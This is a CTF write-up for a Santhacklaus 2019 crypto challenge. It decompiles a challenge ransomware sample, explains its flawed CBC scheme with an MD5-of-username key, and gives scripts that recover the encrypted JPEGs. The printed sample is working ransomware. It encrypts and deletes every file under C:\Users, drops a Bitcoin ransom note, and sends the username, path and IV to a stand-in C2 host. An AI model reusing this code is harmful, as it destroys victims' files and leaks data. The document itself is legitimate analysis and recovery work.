Santhacklaus 2019: Jacques! Au secours!

2019/12/23

Categories: CTF Writeup Crypto

Challenge

Jacques! Au secours!

400 points

One of our VIP clients, who wishes to remain anonymous, has apparently been hacked and all their important documents are now corrupted.

Can you help us recover the files? We found a strange piece of software that might have caused all of this.

File: chall_files.zip

The challenge gives us a zip file with:

Decompiling the virus

The byte-compiled script can be decompiled using uncompyle6:

> uncompyle6 virus.cpython-37.pyc > virus.py

We get the virus in a readable form:

 1# uncompyle6 version 3.6.0
 2# Python bytecode 3.7 (3394)
 3# Decompiled from: Python 3.7.5 (default, Oct 27 2019, 15:43:29) 
 4# [GCC 9.2.1 20191022]
 5# Embedded file name: /mnt/c/Users/Mat/Documents/_CTF/Santhacklaus/2019/virus.py
 6# Size of source mod 2**32: 3473 bytes
 7from Crypto.Cipher import AES
 8from Crypto.Random import get_random_bytes
 9import hashlib, os, getpass, requests
10TARGET_DIR = 'C:\\Users'
11C2_URL = 'https://c2.virus.com/'
12TARGETS = [b'Scott Farquhar', b'Lei Jun', b'Reid Hoffman', b'Zhou Qunfei',
13b'Jeff Bezos', b'Shiv Nadar', b'Simon Xie', b'Ma Huateng', b'Ralph Dommermuth',
14b'Barry Lam', b'Nathan Blecharczyk', b'Judy Faulkner', b'William Ding',
15b'Scott Cook', b'Gordon Moore', b'Marc Benioff', b'Michael Dell', 
16b'Yusaku Maezawa', b'Yuri Milner', b'Bobby Murphy', b'Larry Page',
17b'Henry Samueli', b'Jack Ma', b'Jen-Hsun Huang', b'Jay Y. Lee', b'Joseph Tsai',
18b'Dietmar Hopp', b'Henry Nicholas, III.', b'Dustin Moskovitz', 
19b'Mike Cannon-Brookes', b'Robert Miller', b'Bill Gates', b'Garrett Camp', 
20b'Lin Xiucheng', b'Gil Shwed', b'Sergey Brin', b'Rishi Shah', b'Denise Coates',
21b'Zhang Fan', b'Michael Moritz', b'Robin Li', b'Andreas von Bechtolsheim',
22b'Brian Acton', b'Sean Parker', b'John Doerr', b'David Cheriton', 
23b'Brian Chesky', b'Wang Laisheng', b'Jan Koum', b'Jack Sheerack', b'Terry Gou',
24b'Adam Neumann', b'James Goodnight', b'Larry Ellison', b'Wang Laichun', 
25b'Masayoshi Son', b'Min Kao', b'Hiroshi Mikitani', b'Lee Kun-Hee', 
26b'David Sun', b'Mark Scheinberg', b'Yeung Kin-man', b'John Tu', b'Teddy Sagi',
27b'Frank Wang', b'Robert Pera', b'Eric Schmidt', b'Wang Xing', b'Evan Spiegel',
28b'Travis Kalanick', b'Steve Ballmer', b'Mark Zuckerberg', b'Jason Chang', 
29b'Lam Wai Ying', b'Romesh T. Wadhwani', b'Liu Qiangdong', b'Jim Breyer',
30b'Zhang Zhidong', b'Pierre Omidyar', b'Elon Musk', b'David Filo', 
31b'Joe Gebbia', b'Jiang Bin', b'Pan Zhengmin', b'Douglas Leone', 
32b'Hasso Plattner', b'Paul Allen', b'Meg Whitman', b'Azim Premji', b'Fu Liquan',
33b'Jeff Rothschild', b'John Sall', b'Kim Jung-Ju', b'David Duffield',
34b'Gabe Newell', b'Scott Lin', b'Eduardo Saverin', b'Jeffrey Skoll',
35b'Thomas Siebel', b'Kwon Hyuk-Bin']
36
37def get_username():
38    return getpass.getuser().encode()
39
40
41def xorbytes(a, b):
42    assert len(a) == len(b)
43    res = b''
44    for c, d in zip(a, b):
45        res += bytes([c ^ d])
46
47    return res
48
49
50def lock_file(path):
51    username = get_username()
52    hsh = hashlib.new('md5')
53    hsh.update(username)
54    key = hsh.digest()
55    cip = AES.new(key, 1)
56    iv = get_random_bytes(16)
57    params = (('target', username), ('path', path), ('iv', iv))
58    requests.get(C2_URL, params=params)
59    with open(path, 'rb') as (fi):
60        with open(path + '.hacked', 'wb') as (fo):
61            block = fi.read(16)
62            while block:
63                while len(block) < 16:
64                    block += bytes([0])
65
66                cipherblock = cip.encrypt(xorbytes(block, iv))
67                iv = cipherblock
68                fo.write(cipherblock)
69                block = fi.read(16)
70
71    os.unlink(path)
72
73
74def lock_files():
75    username = get_username()
76    print(username)
77    if username in TARGETS:
78        for directory, _, filenames in os.walk(TARGET_DIR):
79            for filename in filenames:
80                if filename.endswith('.hacked'):
81                    continue
82                fullpath = os.path.join(directory, filename)
83                print('Encrypting', fullpath)
84                lock_file(fullpath)
85
86        with open(os.path.join(TARGET_DIR, 'READ_THIS.txt'), 'wb') as (fo):
87            fo.write(b'We have hacked all your files. Buy 1 BTC and contact us\
88					   at hacked@virus.com\n')
89
90
91if __name__ == '__main__':
92    lock_files()
93# okay decompiling virus.cpython-37.pyc

Understanding the virus

What is the ransomware doing?

It first checks if the current user is a target. If it’s the case, it goes through all the subdirectories of the TARGET_DIR directory and locks/encrypts all the files that do not have the ‘.hacked’ extension. After encryption, the original file is removed with the os.unlink function.

How does the virus encrypt the files?

The virus uses Advanced Encryption Standard (AES) to encrypt the files. The mode is set to Electronic Codebook (ECB) (AES.new(key, 1), in line 55, 1 being the ECB mode) but the implementation is actually Cipher Block Chaining (CBC):

50def lock_file(path):
51    username = get_username()
52    hsh = hashlib.new('md5')
53    hsh.update(username)
54    key = hsh.digest()
55    cip = AES.new(key, 1)
56    iv = get_random_bytes(16)
57    params = (('target', username), ('path', path), ('iv', iv))
58    requests.get(C2_URL, params=params)
59    with open(path, 'rb') as (fi):
60        with open(path + '.hacked', 'wb') as (fo):
61            block = fi.read(16)
62            while block:
63                while len(block) < 16:
64                    block += bytes([0])
65
66                cipherblock = cip.encrypt(xorbytes(block, iv))
67                iv = cipherblock
68                fo.write(cipherblock)
69                block = fi.read(16)
70
71    os.unlink(path)

As you can see in the highlighted areas, an initialization vector (IV) is first generated in order to make the first cipherblock. After that, the IV is equal to the subsequent cipherblocks.

The key used for the AES encryption is the md5 hash of the username, which is always 128 bits long.

How could we decrypt the files?

Information we have

The only thing we do not know is the random initial vector.

However, as the formula for decrypting CBC is:

$$ p_i = D_K(c_i) \oplus c_{i-1} $$

with $c_0 = IV$, we know $p_n$ for all $n \geq 2$, because every cipherblock is decrypted using the previous cipherblock. For example:

$$ p_3 = D_K(c_3) \oplus c_2 $$

Using the magic bytes, we therefore know all the plaintext blocks.

Strategy

Note: Another possible strategy to know which is the correct key would have been using the end-of-file marker (%%EOF). If the last plaintext block has this marker, we have the key.

Solution

The first script decrypts the files, creating a folder for each target:

 1#!/usr/bin/python3
 2from Crypto.Cipher import AES
 3from Crypto.Random import get_random_bytes
 4import Crypto.Util
 5import hashlib, os, getpass, requests, binascii
 6
 7TARGETS = [b'Scott Farquhar', b'Lei Jun', b'Reid Hoffman', b'Zhou Qunfei',
 8b'Jeff Bezos', b'Shiv Nadar', b'Simon Xie', b'Ma Huateng', b'Ralph Dommermuth',
 9b'Barry Lam', b'Nathan Blecharczyk', b'Judy Faulkner', b'William Ding',
10b'Scott Cook', b'Gordon Moore', b'Marc Benioff', b'Michael Dell', 
11b'Yusaku Maezawa', b'Yuri Milner', b'Bobby Murphy', b'Larry Page',
12b'Henry Samueli', b'Jack Ma', b'Jen-Hsun Huang', b'Jay Y. Lee', b'Joseph Tsai',
13b'Dietmar Hopp', b'Henry Nicholas, III.', b'Dustin Moskovitz', 
14b'Mike Cannon-Brookes', b'Robert Miller', b'Bill Gates', b'Garrett Camp', 
15b'Lin Xiucheng', b'Gil Shwed', b'Sergey Brin', b'Rishi Shah', b'Denise Coates',
16b'Zhang Fan', b'Michael Moritz', b'Robin Li', b'Andreas von Bechtolsheim',
17b'Brian Acton', b'Sean Parker', b'John Doerr', b'David Cheriton', 
18b'Brian Chesky', b'Wang Laisheng', b'Jan Koum', b'Jack Sheerack', b'Terry Gou',
19b'Adam Neumann', b'James Goodnight', b'Larry Ellison', b'Wang Laichun', 
20b'Masayoshi Son', b'Min Kao', b'Hiroshi Mikitani', b'Lee Kun-Hee', 
21b'David Sun', b'Mark Scheinberg', b'Yeung Kin-man', b'John Tu', b'Teddy Sagi',
22b'Frank Wang', b'Robert Pera', b'Eric Schmidt', b'Wang Xing', b'Evan Spiegel',
23b'Travis Kalanick', b'Steve Ballmer', b'Mark Zuckerberg', b'Jason Chang', 
24b'Lam Wai Ying', b'Romesh T. Wadhwani', b'Liu Qiangdong', b'Jim Breyer',
25b'Zhang Zhidong', b'Pierre Omidyar', b'Elon Musk', b'David Filo', 
26b'Joe Gebbia', b'Jiang Bin', b'Pan Zhengmin', b'Douglas Leone', 
27b'Hasso Plattner', b'Paul Allen', b'Meg Whitman', b'Azim Premji', b'Fu Liquan',
28b'Jeff Rothschild', b'John Sall', b'Kim Jung-Ju', b'David Duffield',
29b'Gabe Newell', b'Scott Lin', b'Eduardo Saverin', b'Jeffrey Skoll',
30b'Thomas Siebel', b'Kwon Hyuk-Bin']
31
32TARGET_DIR = '/root/Documents/santhacklaus_2019/jacques/recover_pictures/'
33
34# Magic bytes of a jpg file
35plain_text = bytes([0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46,
360x00, 0x01, 0x01, 0x01, 0x00, 0x48])
37
38def decrypt_file(path, key, target):
39    with open(path, 'rb') as fi:
40        head, tail = os.path.split(path)
41        with open(head + f'/{target}/{tail}.jpg', 'wb') as fo:
42            cip = AES.new(key, AES.MODE_CBC)
43            cipherblocks = fi.read()
44            message = cip.decrypt(cipherblocks)
45            message = plain_text + message[16:]
46            fo.write(message)
47
48for directory, _, filenames in os.walk(TARGET_DIR):
49    for filename in filenames:
50        if not filename.endswith('.hacked'):
51            continue
52        full_path = os.path.join(directory, filename)
53        print('Decrypting', full_path)
54        for target in TARGETS:
55            folder_name = target.decode('utf-8')
56            target_path = os.path.join(TARGET_DIR, folder_name)
57            if not os.path.exists(target_path):
58                os.makedirs(target_path)
59            hsh = hashlib.new('md5')
60            hsh.update(target)
61            key = hsh.digest()
62            decrypt_file(full_path, key, folder_name)

After making this, we need to make a quick script to create a html document that will be easily visualized:

 1#!/usr/bin/python3
 2import os
 3from urllib.parse import quote
 4TARGET_DIR = '/root/Documents/santhacklaus_2019/jacques/recover_pictures/'
 5
 6html = '<html><body>'
 7for directory, _, filenames in os.walk(TARGET_DIR):
 8    for filename in filenames:
 9        if filename.endswith('.jpg'):
10            full_path = os.path.join(directory, filename)
11            html+= f"<img src={quote(full_path)} />"
12html += '</body>'
13html += '</html>'
14print(html)
> ./recover.py
> ./make_html.py > images.html

The images.html has only 4 valid images. One of them is:

We find the flag

>> Home